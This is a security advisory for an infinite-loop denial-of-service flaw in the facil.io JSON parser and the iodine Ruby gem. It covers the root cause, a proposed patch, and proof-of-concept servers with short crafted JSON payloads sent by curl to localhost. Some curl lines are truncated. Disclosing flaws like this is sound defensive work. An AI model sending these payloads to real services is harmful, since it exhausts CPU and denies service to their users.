Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High **boazsegev** published **GHSA-2x79-gwq3-vxxm** last week

Package

iodine (RubyGems)

Affected versions

=< 0.7.58

Patched versions

0.7.59

Description

Summary

`fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON.

The smallest reproducer I found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value.

CWE

- Primary: CWE-835, Loop with Unreachable Exit Condition
- Secondary: CWE-400, Uncontrolled Resource Consumption

Details

The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

- `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`)
- `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
- `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`

Relevant flow:

1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label.
2. It calls `fio_atol((char **)&tmp)`.
3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`.
4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true.
5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing.
6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`.

The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`.

Why the `[""i` form hangs:

1. The parser accepts the empty string `""` as the first array element.
2. It does not require a comma before the next token.
3. The trailing `i` is then parsed as a new nested value.
4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

- Array form, minimal: `[i`
- Object form: `{"a":i`
- After a quoted value in an array: `[""i`
- After a quoted value in an object: `{"a":""i`

PoC

Environment used for verification:

- `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e`
- `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8`
- standalone compile against `fio_json_parser.h`

Minimal standalone program

Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`.

```
#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}
```

`http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`.

Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`:

```
git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc
```

Run:

```
./tmp/http_json_poc
```

Then in another terminal send one of these payloads:

```
printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-bi @
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --dat a
```

```
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-bi
```

Observed result on a vulnerable build:

- The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`.
- The request never completes.
- One worker thread spins until the process is killed.

Downstream impact in `iodine`

`iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file `iodine` HTTP server repro:

```
require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start
```

Run:

```
ruby iodine_json_parse_http_poc.rb
```

Then in a second terminal:

```
printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
```

On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

- Availability impact: high for affected parser entry points
- Confidentiality impact: none observed
- Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

```
diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;
```

This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to `iodine`'s vendored copy:

- `ext/iodine/fio_json_parser.h`

Impact

CWE

- Primary: CWE-835, Loop with Unreachable Exit Condition
- Secondary: CWE-400, Uncontrolled Resource Consumption
- `facil.io`
  - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`)
  - Verified on tagged releases `0.7.5` and `0.7.6`
- `iodine` Ruby gem
  - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
  - Verified on tag / gem version `v0.7.58`
  - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`

Severity

High 8.7 / 10

CVSS v4 base metrics

Exploitability Metrics	
Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	None
Vulnerable System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	High
Subsequent System Impact Metrics	
Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-41146

Weaknesses

- CWE-400
- CWE-835

Credits

michaelknap Reporter